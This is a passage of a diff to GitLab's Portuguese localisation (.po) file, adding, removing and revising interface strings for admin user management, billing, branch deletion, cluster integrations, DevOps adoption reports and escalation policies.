msgid "AdminUsers|You are about to permanently delete the user %{username}. This will delete all of the issues, merge requests, and groups linked to them. To avoid data loss, consider using the %{strongStart}block user%{strongEnd} feature instead. Once you %{strongStart}Delete user%{strongEnd}, it cannot be undone or recovered."
msgstr ""
+msgid "AdminUsers|You ban their account in the future if necessary."
+msgstr ""
+
msgid "AdminUsers|You can always block their account again if needed."
msgstr ""
@@ -2714,6 +2773,9 @@ msgstr ""
msgid "AdminUsers|You can always unblock their account, their data will remain intact."
msgstr ""
+msgid "AdminUsers|You can unban their account in the future. Their data remains intact."
+msgstr ""
+
msgid "AdminUsers|You cannot remove your own admin rights."
msgstr ""
@@ -2759,9 +2821,6 @@ msgstr "Avançado"
msgid "Advanced Search"
msgstr ""
-msgid "Advanced Search with Elasticsearch"
-msgstr ""
-
msgid "Advanced Settings"
msgstr ""
@@ -2800,9 +2859,6 @@ msgid_plural "Alerts"
msgstr[0] "Alerta"
msgstr[1] "Alertas"
-msgid "Alert integrations"
-msgstr ""
-
msgid "AlertManagement|Acknowledged"
msgstr ""
@@ -3172,9 +3228,6 @@ msgstr ""
msgid "All epics"
msgstr ""
-msgid "All features are enabled for blank projects, from templates, or when importing, but you can disable them afterward in the project settings."
-msgstr "Todos os recursos estão ativos para os projetos vazios, a partir de modelos ou ao importar, mas poderás desativá-las, posteriormente, nas definições do projeto."
-
msgid "All groups and projects"
msgstr "Todos os grupos e projetos"
@@ -3277,6 +3330,9 @@ msgstr ""
msgid "Allowed Geo IP"
msgstr ""
+msgid "Allowed characters: +, 0-9, -, and spaces."
+msgstr ""
+
msgid "Allowed email domain restriction only permitted for top-level groups"
msgstr ""
@@ -3490,6 +3546,9 @@ msgstr "Ocorreu um erro ao buscar as cores das etiquetas."
msgid "An error occurred while fetching markdown preview"
msgstr "Ocorreu um erro ao buscar a pré-visualização do markdown"
+msgid "An error occurred while fetching participants"
+msgstr ""
+
msgid "An error occurred while fetching participants."
msgstr ""
@@ -3583,9 +3642,6 @@ msgstr ""
msgid "An error occurred while loading merge requests."
msgstr ""
-msgid "An error occurred while loading project creation UI"
-msgstr ""
-
msgid "An error occurred while loading the access tokens form, please try again."
msgstr ""
@@ -3655,7 +3711,7 @@ msgstr ""
msgid "An error occurred while reordering issues."
msgstr ""
-msgid "An error occurred while requesting data from the Jira service"
+msgid "An error occurred while requesting data from the Jira service."
msgstr ""
msgid "An error occurred while retrieving calendar activity"
@@ -4128,6 +4184,9 @@ msgstr ""
msgid "Approvers"
msgstr ""
+msgid "Approvers from private group(s) not shown"
+msgstr ""
+
msgid "Apr"
msgstr "abr"
@@ -4158,16 +4217,13 @@ msgstr ""
msgid "Archived in this version"
msgstr ""
-msgid "Archived project! Repository and other project resources are read only"
-msgstr ""
-
msgid "Archived project! Repository and other project resources are read-only"
msgstr "Projeto arquivado! Repositório e outros recursos de projeto são somente de leitura"
msgid "Archived projects"
msgstr "Projetos arquivados"
-msgid "Archiving the project will make it entirely read only. It is hidden from the dashboard and doesn't show up in searches. %{strong_start}The repository cannot be committed to, and no issues, comments, or other entities can be created.%{strong_end} %{link_start}Learn more.%{link_end}"
+msgid "Archiving the project will make it entirely read-only. It is hidden from the dashboard and doesn't show up in searches. %{strong_start}The repository cannot be committed to, and no issues, comments, or other entities can be created.%{strong_end} %{link_start}Learn more.%{link_end}"
msgstr ""
msgid "Are you ABSOLUTELY SURE you wish to delete this project?"
@@ -4746,7 +4802,7 @@ msgstr "Gestão automática de certificados ao usar Vamos Criptografar"
msgid "Automatic deployment rollbacks"
msgstr ""
-msgid "Automatically close incidents when the associated Prometheus alert resolves."
+msgid "Automatically close associated incident when a recovery alert notification resolves an alert"
msgstr ""
msgid "Automatically create merge requests for vulnerabilities that have fixes available."
@@ -4815,6 +4871,9 @@ msgstr "Cor de Fundo"
msgid "Background Jobs"
msgstr "Trabalhos em Segundo Plano"
+msgid "Background Migrations"
+msgstr ""
+
msgid "Background color"
msgstr "Cor de fundo"
@@ -4971,6 +5030,9 @@ msgstr ""
msgid "BillingPlans|@%{user_name} you are currently using the %{plan_name}."
msgstr ""
+msgid "BillingPlans|Compare all plans"
+msgstr ""
+
msgid "BillingPlans|Congratulations, your free trial is activated."
msgstr ""
@@ -4989,6 +5051,9 @@ msgstr ""
msgid "BillingPlans|Learn more about each plan by visiting our %{pricing_page_link}."
msgstr ""
+msgid "BillingPlans|Looking to purchase or manage a subscription for your group? Navigate to your %{groups_link} and go to %{strong_open}Settings &gt; Billing.%{strong_close}"
+msgstr ""
+
msgid "BillingPlans|Manage plan"
msgstr "Gerir plano"
@@ -5004,6 +5069,9 @@ msgstr "Este grupo utiliza o plano de associados com o teu grupo pai."
msgid "BillingPlans|To manage the plan for this group, visit the billing section of %{parent_billing_page_link}."
msgstr "Para gerir o plano para este grupo, visita a secção de faturação de %{parent_billing_page_link}."
+msgid "BillingPlans|Upgrade to GitLab %{planNameForUpgrade}"
+msgstr ""
+
msgid "BillingPlans|While GitLab is ending availability of the Bronze plan, you can still renew your Bronze subscription one additional time before %{eoa_bronze_plan_end_date}. We are also offering a limited time free upgrade to our Premium Plan (up to 25 users)! Learn more about the changes and offers in our %{announcement_link}."
msgstr ""
@@ -5022,6 +5090,9 @@ msgstr ""
msgid "BillingPlans|frequently asked questions"
msgstr "perguntas frequentes"
+msgid "BillingPlans|group"
+msgstr ""
+
msgid "BillingPlans|monthly"
msgstr "mensalmente"
@@ -5037,6 +5108,27 @@ msgstr ""
msgid "BillingPlan|Upgrade for free"
msgstr ""
+msgid "Billings|To use free pipeline minutes on shared runners, you’ll need to validate your account with a credit or debit card. If you prefer not to provide one, you can run pipelines by bringing your own runners and disabling shared runners for your project. This is required to discourage and reduce abuse on GitLab infrastructure. %{strongStart}GitLab will not charge or store your card, it will only be used for validation.%{strongEnd} %{linkStart}Learn more%{linkEnd}."
+msgstr ""
+
+msgid "Billings|To use free pipeline minutes on shared runners, you’ll need to validate your account with a credit or debit card. This is required to discourage and reduce abuse on GitLab infrastructure. %{strongStart}GitLab will not charge or store your card, it will only be used for validation.%{strongEnd}"
+msgstr ""
+
+msgid "Billings|User successfully validated"
+msgstr ""
+
+msgid "Billings|User validation required"
+msgstr ""
+
+msgid "Billings|Validate account"
+msgstr ""
+
+msgid "Billings|Validate user account"
+msgstr ""
+
+msgid "Billings|Your user account has been successfully validated. You can now use free pipeline minutes."
+msgstr ""
+
msgid "Billing|An email address is only visible for users with public emails."
msgstr ""
@@ -5049,6 +5141,9 @@ msgstr ""
msgid "Billing|An error occurred while removing a billable member"
msgstr ""
+msgid "Billing|Cannot remove user"
+msgstr ""
+
msgid "Billing|Direct memberships"
msgstr ""
@@ -5058,6 +5153,12 @@ msgstr ""
msgid "Billing|Group"
msgstr ""
+msgid "Billing|Group invite"
+msgstr ""
+
+msgid "Billing|Members who were invited via a group invitation cannot be removed. You can either remove the entire group, or ask an Owner of the invited group to remove the member."
+msgstr ""
+
msgid "Billing|No users to display."
msgstr ""
@@ -5286,6 +5387,9 @@ msgstr "Ramos ativos"
msgid "Branches|All"
msgstr "Todos"
+msgid "Branches|Cancel, keep branch"
+msgstr ""
+
msgid "Branches|Cant find HEAD commit for this branch"
msgstr "Não foi possível encontrar o envio do HEAD para este ramo"
@@ -5298,6 +5402,9 @@ msgstr "Apagar todos os ramos que foram mesclados em '%{default_branch}'"
msgid "Branches|Delete branch"
msgstr "Apagar ramo"
+msgid "Branches|Delete branch. Are you ABSOLUTELY SURE?"
+msgstr ""
+
msgid "Branches|Delete merged branches"
msgstr "Apagar ramos que foram mesclados"
@@ -5307,6 +5414,12 @@ msgstr "Apagar ramo protegido"
msgid "Branches|Delete protected branch '%{branch_name}'?"
msgstr "Apagar ramo protegido '%{branch_name}'?"
+msgid "Branches|Delete protected branch. Are you ABSOLUTELY SURE?"
+msgstr ""
+
+msgid "Branches|Deleting the %{strongStart}%{branchName}%{strongEnd} branch cannot be undone. Are you sure?"
+msgstr ""
+
msgid "Branches|Deleting the '%{branch_name}' branch cannot be undone. Are you sure?"
msgstr "Apagar o ramo '%{branch_name}' não pode ser desfeito. Tens a certeza?"
@@ -5328,12 +5441,18 @@ msgstr "Nenhum ramo para mostrar"
msgid "Branches|Once you confirm and press %{delete_protected_branch}, it cannot be undone or recovered."
msgstr "Depois de confirmares e pressionares %{delete_protected_branch}, ele não poderá ser desfeito ou recuperado."
+msgid "Branches|Once you confirm and press %{strongStart}%{buttonText},%{strongEnd} it cannot be undone or recovered."
+msgstr ""
+
msgid "Branches|Only a project maintainer or owner can delete a protected branch"
msgstr "Somente um responsável ou dono do projeto poderá apagar ramos protegidos"
msgid "Branches|Overview"
msgstr "Visão Geral"
+msgid "Branches|Please type the following to confirm:"
+msgstr ""
+
msgid "Branches|Protected branches can be managed in %{project_settings_link}."
msgstr "Ramos protegidos podem ser geridos em %{project_settings_link}."
@@ -5367,6 +5486,9 @@ msgstr "O ramo não pode ser atualizado, automaticamente,, porque ele divergiu d
msgid "Branches|The default branch cannot be deleted"
msgstr "O ramo padrão não pode ser apagado"
+msgid "Branches|This branch hasn’t been merged into %{defaultBranchName}. To avoid data loss, consider merging this branch before deleting it."
+msgstr ""
+
msgid "Branches|This branch hasn’t been merged into %{default_branch}."
msgstr "Este ramo não foi mesclado para '%{default_branch}'."
@@ -5379,6 +5501,18 @@ msgstr "Para confirmar, digita %{branch_name_confirmation}:"
msgid "Branches|To discard the local changes and overwrite the branch with the upstream version, delete it here and choose 'Update Now' above."
msgstr "Para rejeitar as alterações locais e sobrescrever a ramificação com a versão upstream, apaga-o aqui e escolhe \"Atualizar Agora\" em cima."
+msgid "Branches|Yes, delete branch"
+msgstr ""
+
+msgid "Branches|Yes, delete protected branch"
+msgstr ""
+
+msgid "Branches|You're about to permanently delete the branch %{strongStart}%{branchName}.%{strongEnd}"
+msgstr ""
+
+msgid "Branches|You're about to permanently delete the protected branch %{strongStart}%{branchName}.%{strongEnd}"
+msgstr ""
+
msgid "Branches|You’re about to permanently delete the protected branch %{branch_name}."
msgstr "Estás prestes a apagar, permanentemente, o ramo protegido %{branch_name}."
@@ -5448,6 +5582,9 @@ msgstr ""
msgid "BulkImport|From source group"
msgstr ""
+msgid "BulkImport|Import %{groups}"
+msgstr ""
+
msgid "BulkImport|Import failed: Destination cannot be a subgroup of the source group. Change the destination and try again."
msgstr ""
@@ -5460,9 +5597,15 @@ msgstr ""
msgid "BulkImport|Name already exists."
msgstr ""
+msgid "BulkImport|No groups on this page are available for import"
+msgstr ""
+
msgid "BulkImport|No parent"
msgstr ""
+msgid "BulkImport|One or more groups has validation errors"
+msgstr ""
+
msgid "BulkImport|Showing %{start}-%{end} of %{total}"
msgstr ""
@@ -5529,9 +5672,6 @@ msgstr "Por %{user_name}"
msgid "By authenticating with an account tied to an Enterprise e-mail address, it is understood that this account is an Enterprise User. "
msgstr ""
-msgid "By clicking Register, I agree that I have read and accepted the %{company_name} %{linkStart}Terms of Use and Privacy Policy%{linkEnd}"
-msgstr ""
-
msgid "By default GitLab sends emails in HTML and plain text formats so mail clients can choose what format to use. Disable this option if you only want to send emails in plain text format."
msgstr "Por padrão, o GitLab envia emails em formatos HTML e texto simples para que os clientes de email possam escolher o formato a ser usado. Desativa esta opção se quiseres apenas enviar emails em formato de texto simples."
@@ -5580,15 +5720,15 @@ msgstr "Configuração de CI/CD"
msgid "CI/CD configuration file"
msgstr ""
-msgid "CI/CD for external repo"
-msgstr "CI/CD para um repositório externo"
-
msgid "CICDAnalytics|%{percent}%{percentSymbol}"
msgstr ""
msgid "CICDAnalytics|All time"
msgstr ""
+msgid "CICDAnalytics|Deployment frequency"
+msgstr ""
+
msgid "CICDAnalytics|Projects with releases"
msgstr ""
@@ -5597,6 +5737,9 @@ msgid_plural "CICDAnalytics|Releases"
msgstr[0] ""
msgstr[1] ""
+msgid "CICDAnalytics|Release statistics"
+msgstr ""
+
msgid "CICDAnalytics|Releases"
msgstr ""
@@ -6290,8 +6433,8 @@ msgstr ""
msgid "Choose File..."
msgstr ""
-msgid "Choose a branch/tag (e.g. %{master}) or enter a commit (e.g. %{sha}) to see what's changed or to create a merge request."
-msgstr "Escolhe um ramo/tag (por exemplo, %{master}) ou insere um envio (por exemplo, %{sha}) para ver o que foi alterado ou para criar um pedido de mesclagem."
+msgid "Choose a branch/tag (e.g. %{branch}) or enter a commit (e.g. %{sha}) to see what's changed or to create a merge request."
+msgstr ""
msgid "Choose a file"
msgstr "Escolhe um ficheiro"
@@ -6674,72 +6817,6 @@ msgstr ""
msgid "Cloud licenses can not be removed."
msgstr ""
-msgid "CloudLicense|Activate"
-msgstr ""
-
-msgid "CloudLicense|Activate subscription"
-msgstr ""
-
-msgid "CloudLicense|Activation code"
-msgstr ""
-
-msgid "CloudLicense|Billable users"
-msgstr ""
-
-msgid "CloudLicense|Buy subscription"
-msgstr ""
-
-msgid "CloudLicense|Free trial"
-msgstr ""
-
-msgid "CloudLicense|Get help for the most common connectivity issues by %{linkStart}troubleshooting the activation code%{linkEnd}."
-msgstr ""
-
-msgid "CloudLicense|I agree that my use of the GitLab Software is subject to the Subscription Agreement located at the %{linkStart}Terms of Service%{linkEnd}, unless otherwise agreed to in writing with GitLab."
-msgstr ""
-
-msgid "CloudLicense|Learn how to %{linkStart}activate your subscription%{linkEnd}."
-msgstr ""
-
-msgid "CloudLicense|Maximum users"
-msgstr ""
-
-msgid "CloudLicense|Paste your activation code"
-msgstr ""
-
-msgid "CloudLicense|Ready to get started? A GitLab plan is ideal for scaling organizations and for multi team usage."
-msgstr ""
-
-msgid "CloudLicense|Start free trial"
-msgstr ""
-
-msgid "CloudLicense|Subscription"
-msgstr ""
-
-msgid "CloudLicense|This is the highest peak of users on your installation since the license started."
-msgstr ""
-
-msgid "CloudLicense|This is the number of %{billableUsersLinkStart}billable users%{billableUsersLinkEnd} on your installation, and this is the minimum number you need to purchase when you renew your license."
-msgstr ""
-
-msgid "CloudLicense|To activate your subscription, connect to GitLab servers through the %{linkStart}Cloud Sync service%{linkEnd}, a hassle-free way to manage your subscription."
-msgstr ""
-
-msgid "CloudLicense|Users in subscription"
-msgstr ""
-
-msgid "CloudLicense|Users over subscription"
-msgstr ""
-
-msgid "CloudLicense|Users with a Guest role or those who don't belong to a Project or Group will not use a seat from your license."
-msgstr ""
-
-msgid "CloudLicense|You can start a free trial of GitLab Ultimate without any obligation or payment details."
-msgstr ""
-
-msgid "CloudLicense|You'll be charged for %{trueUpLinkStart}users over license%{trueUpLinkEnd} on a quarterly or annual basis, depending on the terms of your agreement."
-msgstr ""
-
msgid "Cluster"
msgstr ""
@@ -6902,6 +6979,12 @@ msgstr ""
msgid "ClusterIntegration|Allow GitLab to manage namespaces and service accounts for this cluster."
msgstr ""
+msgid "ClusterIntegration|Allows GitLab to query a specifically configured in-cluster Elasticsearch for pod logs."
+msgstr ""
+
+msgid "ClusterIntegration|Allows GitLab to query a specifically configured in-cluster Prometheus for metrics."
+msgstr ""
+
msgid "ClusterIntegration|Alternatively, "
msgstr ""
@@ -6944,12 +7027,6 @@ msgstr ""
msgid "ClusterIntegration|Base domain"
msgstr "Domínio base"
-msgid "ClusterIntegration|Before you enable this integration, follow the %{link_start}documented process%{link_end}."
-msgstr ""
-
-msgid "ClusterIntegration|Blocking mode"
-msgstr ""
-
msgid "ClusterIntegration|CA Certificate"
msgstr "Certificado CA"
@@ -7112,6 +7189,9 @@ msgstr ""
msgid "ClusterIntegration|Enable Cloud Run for Anthos"
msgstr ""
+msgid "ClusterIntegration|Enable Elastic Stack integration"
+msgstr ""
+
msgid "ClusterIntegration|Enable Prometheus integration"
msgstr ""
@@ -7196,9 +7276,6 @@ msgstr ""
msgid "ClusterIntegration|GitLab-managed cluster"
msgstr "Cluster gerido por GitLab"
-msgid "ClusterIntegration|Global default"
-msgstr ""
-
msgid "ClusterIntegration|Google Cloud Platform project"
msgstr "Projeto Google Cloud Platform"
@@ -7259,7 +7336,7 @@ msgstr ""
msgid "ClusterIntegration|Integration enabled"
msgstr ""
-msgid "ClusterIntegration|Integrations enable you to integrate your cluster as part of your GitLab workflow."
+msgid "ClusterIntegration|Integrations allow you to use applications installed in your cluster as part of your GitLab workflow."
msgstr ""
msgid "ClusterIntegration|Issuer Email"
@@ -7355,9 +7432,6 @@ msgstr ""
msgid "ClusterIntegration|Loading subnetworks"
msgstr ""
-msgid "ClusterIntegration|Logging mode"
-msgstr ""
-
msgid "ClusterIntegration|Machine type"
msgstr "Tipo de máquina"
@@ -7370,9 +7444,6 @@ msgstr "Certifica-te de que tua conta %{link_to_requirements} para criar cluster
msgid "ClusterIntegration|Manage your Kubernetes cluster by visiting %{provider_link}"
msgstr ""
-msgid "ClusterIntegration|ModSecurity enabled"
-msgstr ""
-
msgid "ClusterIntegration|Namespace per environment"
msgstr ""
@@ -7469,9 +7540,6 @@ msgstr ""
msgid "ClusterIntegration|Read our %{link_start}help page%{link_end} on Kubernetes cluster integration."
msgstr ""
-msgid "ClusterIntegration|Real-time web application monitoring, logging and access control. %{linkStart}More information%{linkEnd}"
-msgstr ""
-
msgid "ClusterIntegration|Remove Kubernetes cluster integration"
msgstr "Remove a integração do cluster do Kubernetes"
@@ -7610,9 +7678,6 @@ msgstr "Seleciona a zona para escolher o tipo de máquina"
msgid "ClusterIntegration|Send Container Network Policies Logs"
msgstr ""
-msgid "ClusterIntegration|Send Web Application Firewall Logs"
-msgstr ""
-
msgid "ClusterIntegration|Service Token"
msgstr "Token de Serviço"
@@ -7625,9 +7690,6 @@ msgstr "O Token de serviço é obrigatório."
msgid "ClusterIntegration|Set a prefix for your namespaces. If not set, defaults to your project path. If modified, existing environments will use their current namespaces until the cluster cache is cleared."
msgstr ""
-msgid "ClusterIntegration|Set the global mode for the WAF in this cluster. This can be overridden at the environmental level."
-msgstr ""
-
msgid "ClusterIntegration|Something went wrong on our end."
msgstr "Ocorreu um erro do nosso lado."
@@ -7901,6 +7963,15 @@ msgstr ""
msgid "CodeOwner|Pattern"
msgstr ""
+msgid "CodeQuality|Code quality"
+msgstr ""
+
+msgid "CodeQuality|New code quality degradations in this file"
+msgstr ""
+
+msgid "CodeQuality|Some changes in this file degrade the code quality."
+msgstr ""
+
msgid "Cohorts|Inactive users"
msgstr ""
@@ -8044,6 +8115,9 @@ msgstr ""
msgid "CommitMessage|Add %{file_name}"
msgstr ""
+msgid "CommitMessage|Add %{file_name} and create a code quality job"
+msgstr ""
+
msgid "CommitWidget|authored"
msgstr ""
@@ -8182,9 +8256,6 @@ msgstr ""
msgid "Compliance framework"
msgstr ""
-msgid "Compliance framework (optional)"
-msgstr ""
-
msgid "Compliance framework (optional)"
msgstr ""
@@ -8305,6 +8376,9 @@ msgstr ""
msgid "Configuration"
msgstr ""
+msgid "Configuration help"
+msgstr ""
+
msgid "Configure GitLab runners to start using the Web Terminal. %{helpStart}Learn more.%{helpEnd}"
msgstr ""
@@ -8368,6 +8442,9 @@ msgstr ""
msgid "Configure repository mirroring."
msgstr ""
+msgid "Configure settings for Advanced Search with Elasticsearch."
+msgstr ""
+
msgid "Configure specific limits for Packages API requests that supersede the general user and IP rate limits."
msgstr ""
@@ -8525,6 +8602,9 @@ msgstr ""
msgid "ContainerRegistry|%{title} was successfully scheduled for deletion"
msgstr ""
+msgid "ContainerRegistry|-- tags"
+msgstr ""
+
msgid "ContainerRegistry|Build an image"
msgstr ""
@@ -9205,9 +9285,6 @@ msgstr ""
msgid "Create Project"
msgstr ""
-msgid "Create Value Stream"
-msgstr ""
-
msgid "Create a GitLab account first, and then connect it to your %{label} account."
msgstr ""
@@ -9238,9 +9315,6 @@ msgstr ""
msgid "Create a personal access token on your account to pull or push via %{protocol}."
msgstr ""
-msgid "Create a project pre-populated with the necessary files to get you started quickly."
-msgstr ""
-
msgid "Create an account using:"
msgstr ""
@@ -9292,6 +9366,9 @@ msgstr ""
msgid "Create group label"
msgstr "Criar etiqueta do grupo"
+msgid "Create incident"
+msgstr ""
+
msgid "Create issue"
msgstr ""
@@ -9343,6 +9420,9 @@ msgstr ""
msgid "Create new label"
msgstr ""
+msgid "Create new project"
+msgstr ""
+
msgid "Create new..."
msgstr ""
@@ -9376,6 +9456,9 @@ msgstr ""
msgid "Create your group"
msgstr ""
+msgid "Create your own profile to collaborate with your teammates in issues, merge requests, and more."
+msgstr ""
+
msgid "Create/import your first project"
msgstr ""
@@ -9703,27 +9786,6 @@ msgstr ""
msgid "Custom range (UTC)"
msgstr ""
-msgid "CustomCycleAnalytics|Add a stage"
-msgstr ""
-
-msgid "CustomCycleAnalytics|Add stage"
-msgstr ""
-
-msgid "CustomCycleAnalytics|Editing stage"
-msgstr ""
-
-msgid "CustomCycleAnalytics|End event label"
-msgstr ""
-
-msgid "CustomCycleAnalytics|New stage"
-msgstr ""
-
-msgid "CustomCycleAnalytics|Stage name already exists"
-msgstr ""
-
-msgid "CustomCycleAnalytics|Start event label"
-msgstr ""
-
msgid "Customer Portal"
msgstr ""
@@ -9944,9 +10006,15 @@ msgstr ""
msgid "DAG visualization requires at least 3 dependent jobs."
msgstr ""
+msgid "DAST Configuration"
+msgstr ""
+
msgid "DAST Scans"
msgstr ""
+msgid "DAST Settings"
+msgstr ""
+
msgid "DNS"
msgstr ""
@@ -10166,9 +10234,6 @@ msgstr ""
msgid "DastProfiles|Password form field"
msgstr ""
-msgid "DastProfiles|Please enter a valid timeout value"
-msgstr ""
-
msgid "DastProfiles|Profile name"
msgstr ""
@@ -10534,6 +10599,9 @@ msgstr ""
msgid "Delete Comment"
msgstr ""
+msgid "Delete Key"
+msgstr ""
+
msgid "Delete Value Stream"
msgstr ""
@@ -11250,22 +11318,28 @@ msgstr ""
msgid "DevopsAdoption|Are you sure that you would like to remove %{name} from the table?"
msgstr ""
-msgid "DevopsAdoption|At least 1 MR opened"
+msgid "DevopsAdoption|At least one MR opened"
+msgstr ""
+
+msgid "DevopsAdoption|At least one approval on an MR"
msgstr ""
-msgid "DevopsAdoption|At least 1 approval on an MR"
+msgid "DevopsAdoption|At least one deploy"
msgstr ""
-msgid "DevopsAdoption|At least 1 deploy"
+msgid "DevopsAdoption|At least one issue opened"
msgstr ""
-msgid "DevopsAdoption|At least 1 issue opened"
+msgid "DevopsAdoption|At least one pipeline successfully run"
msgstr ""
-msgid "DevopsAdoption|At least 1 pipeline successfully run"
+msgid "DevopsAdoption|At least one security scan of any type run in pipeline"
msgstr ""
-msgid "DevopsAdoption|At least 1 security scan of any type run in pipeline"
+msgid "DevopsAdoption|Code owners"
+msgstr ""
+
+msgid "DevopsAdoption|Code owners enabled for at least one project"
msgstr ""
msgid "DevopsAdoption|Confirm remove Group"
@@ -11274,6 +11348,9 @@ msgstr ""
msgid "DevopsAdoption|Deploys"
msgstr ""
+msgid "DevopsAdoption|Dev"
+msgstr ""
+
msgid "DevopsAdoption|DevOps adoption tracks the use of key features across your favorite groups. Add a group to the table to begin."
msgstr ""
@@ -11301,6 +11378,9 @@ msgstr ""
msgid "DevopsAdoption|Not adopted"
msgstr ""
+msgid "DevopsAdoption|Ops"
+msgstr ""
+
msgid "DevopsAdoption|Pipelines"
msgstr ""
@@ -11322,6 +11402,9 @@ msgstr ""
msgid "DevopsAdoption|Scanning"
msgstr ""
+msgid "DevopsAdoption|Sec"
+msgstr ""
+
msgid "DevopsAdoption|There was an error enabling the current group. Please refresh the page."
msgstr ""
@@ -11334,21 +11417,33 @@ msgstr ""
msgid "DevopsAdoption|You cannot remove the group you are currently in."
msgstr ""
-msgid "DevopsReport|Adoption"
+msgid "DevopsReport|DevOps Score"
+msgstr ""
+
+msgid "DevopsReport|DevOps score metrics are based on usage over the last 30 days. Last updated: %{timestamp}."
msgstr ""
-msgid "DevopsReport|DevOps"
+msgid "DevopsReport|High"
msgstr ""
-msgid "DevopsReport|DevOps Score"
+msgid "DevopsReport|Leader usage"
msgstr ""
-msgid "DevopsReport|DevOps score metrics are based on usage over the last 30 days. Last updated: %{timestamp}."
+msgid "DevopsReport|Low"
+msgstr ""
+
+msgid "DevopsReport|Moderate"
msgstr ""
msgid "DevopsReport|Score"
msgstr ""
+msgid "DevopsReport|Your score"
+msgstr ""
+
+msgid "DevopsReport|Your usage"
+msgstr ""
+
msgid "Didn't receive a confirmation email?"
msgstr ""
@@ -11415,15 +11510,15 @@ msgstr ""
msgid "Disable public access to Pages sites"
msgstr ""
-msgid "Disable shared runners"
-msgstr ""
-
msgid "Disable two-factor authentication"
msgstr ""
msgid "Disabled"
msgstr ""
+msgid "Disabled by %{parent} owner"
+msgstr ""
+
msgid "Disabled mirrors can only be enabled by instance owners. It is recommended that you delete them."
msgstr ""
@@ -11451,6 +11546,9 @@ msgstr ""
msgid "DiscordService|Send notifications about project events to a Discord channel."
msgstr ""
+msgid "Discover"
+msgstr ""
+
msgid "Discover GitLab Geo"
msgstr ""
@@ -11678,7 +11776,7 @@ msgstr ""
msgid "Draft merge requests can't be merged."
msgstr ""
-msgid "Drop or %{linkStart}upload%{linkEnd} designs to attach"
+msgid "Drag your designs here or %{linkStart}click to upload%{linkEnd}."
msgstr ""
msgid "Drop or %{linkStart}upload%{linkEnd} file to attach"
@@ -11693,6 +11791,24 @@ msgstr ""
msgid "Drop your files to start your upload."
msgstr ""
+msgid "DropdownWidget|An error occurred while fetching the assigned %{issuableAttribute} of the selected %{issuableType}."
+msgstr ""
+
+msgid "DropdownWidget|Assign %{issuableAttribute}"
+msgstr ""
+
+msgid "DropdownWidget|Failed to fetch the %{issuableAttribute} for this %{issuableType}. Please try again."
+msgstr ""
+
+msgid "DropdownWidget|Failed to set %{issuableAttribute} on this %{issuableType}. Please try again."
+msgstr ""
+
+msgid "DropdownWidget|No %{issuableAttribute}"
+msgstr ""
+
+msgid "DropdownWidget|No %{issuableAttribute} found"
+msgstr ""
+
msgid "Due Date"
msgstr ""
@@ -11702,9 +11818,6 @@ msgstr ""
msgid "Duration"
msgstr ""
-msgid "Duration for the last 30 commits"
-msgstr ""
-
msgid "During this process, you’ll be asked for URLs from GitLab’s side. Use the URLs shown below."
msgstr ""
@@ -11819,9 +11932,6 @@ msgstr ""
msgid "Edit sidebar"
msgstr ""
-msgid "Edit stage"
-msgstr ""
-
msgid "Edit this file only."
msgstr ""
@@ -11876,6 +11986,9 @@ msgstr ""
msgid "Elasticsearch reindexing triggered"
msgstr ""
+msgid "Elasticsearch reindexing was not started: %{errors}"
+msgstr ""
+
msgid "Elasticsearch returned status code: %{status_code}"
msgstr ""
@@ -12005,13 +12118,13 @@ msgstr ""
msgid "Embed"
msgstr ""
-msgid "Empty file"
+msgid "Embed an image of your existing Jaeger server in GitLab."
msgstr ""
-msgid "Enable"
+msgid "Empty file"
msgstr ""
-msgid "Enable %{linkStart}Gitpod%{linkEnd} integration to launch a development environment in your browser directly from GitLab."
+msgid "Enable"
msgstr ""
msgid "Enable Auto DevOps"
@@ -12089,6 +12202,9 @@ msgstr ""
msgid "Enable authenticated API request rate limit"
msgstr ""
+msgid "Enable authentication"
+msgstr ""
+
msgid "Enable automatic repository housekeeping (git repack, git gc)"
msgstr ""
@@ -12134,9 +12250,6 @@ msgstr ""
msgid "Enable or disable Seat Link."
msgstr ""
-msgid "Enable or disable keyboard shortcuts"
-msgstr ""
-
msgid "Enable or disable the Pseudonymizer data collection."
msgstr ""
@@ -12158,9 +12271,6 @@ msgstr ""
msgid "Enable reCAPTCHA, Invisible Captcha, Akismet and set IP limits. For reCAPTCHA, we currently only support %{recaptcha_v2_link_start}v2%{recaptcha_v2_link_end}"
msgstr ""
-msgid "Enable shared runners"
-msgstr ""
-
msgid "Enable shared runners for all projects and subgroups in this group."
msgstr ""
@@ -12830,9 +12940,6 @@ msgstr ""
msgid "Error occurred when saving reviewers"
msgstr ""
-msgid "Error occurred when toggling the notification subscription"
-msgstr ""
-
msgid "Error occurred while updating the issue status"
msgstr ""
@@ -12845,12 +12952,18 @@ msgstr ""
msgid "Error occurred. A blocked user must be unblocked to be activated"
msgstr ""
+msgid "Error occurred. User was not banned"
+msgstr ""
+
msgid "Error occurred. User was not blocked"
msgstr ""
msgid "Error occurred. User was not confirmed"
msgstr ""
+msgid "Error occurred. User was not unbanned"
+msgstr ""
+
msgid "Error occurred. User was not unblocked"
msgstr ""
@@ -12959,6 +13072,54 @@ msgstr ""
msgid "Errors:"
msgstr ""
+msgid "Escalation Policies"
+msgstr ""
+
+msgid "Escalation policies"
+msgstr ""
+
+msgid "Escalation policies are not supported for this project"
+msgstr ""
+
+msgid "EscalationPolicies|+ Add an additional rule"
+msgstr ""
+
+msgid "EscalationPolicies|A schedule is required for adding an escalation policy."
+msgstr ""
+
+msgid "EscalationPolicies|Add an escalation policy"
+msgstr ""
+
+msgid "EscalationPolicies|Add escalation policy"
+msgstr ""
+
+msgid "EscalationPolicies|Create an escalation policy in GitLab"
+msgstr ""
+
+msgid "EscalationPolicies|Edit escalation policy"
+msgstr ""
+
+msgid "EscalationPolicies|Email on-call user in schedule"
+msgstr ""
+
+msgid "EscalationPolicies|Escalation rules"
+msgstr ""
+
+msgid "EscalationPolicies|Failed to load oncall-schedules"
+msgstr ""
+
+msgid "EscalationPolicies|IF alert is not %{alertStatus} in %{minutes} minutes"
+msgstr ""
+
+msgid "EscalationPolicies|Select schedule"
+msgstr ""
+
+msgid "EscalationPolicies|Set up escalation policies to define who is paged, and when, in the event the first users paged don't respond."
+msgstr ""
+
+msgid "EscalationPolicies|THEN %{doAction} %{schedule}"
+msgstr ""
+
msgid "Estimate"
msgstr ""
@@ -13020,7 +13181,9 @@ msgid "Every two weeks"
msgstr ""
msgid "Every week"
-msgstr ""
+msgid_plural "Every %d weeks"
+msgstr[0] ""
+msgstr[1] ""
msgid "Every week (%{weekday} at %{time})"
msgstr ""
@@ -13663,6 +13826,9 @@ msgstr ""
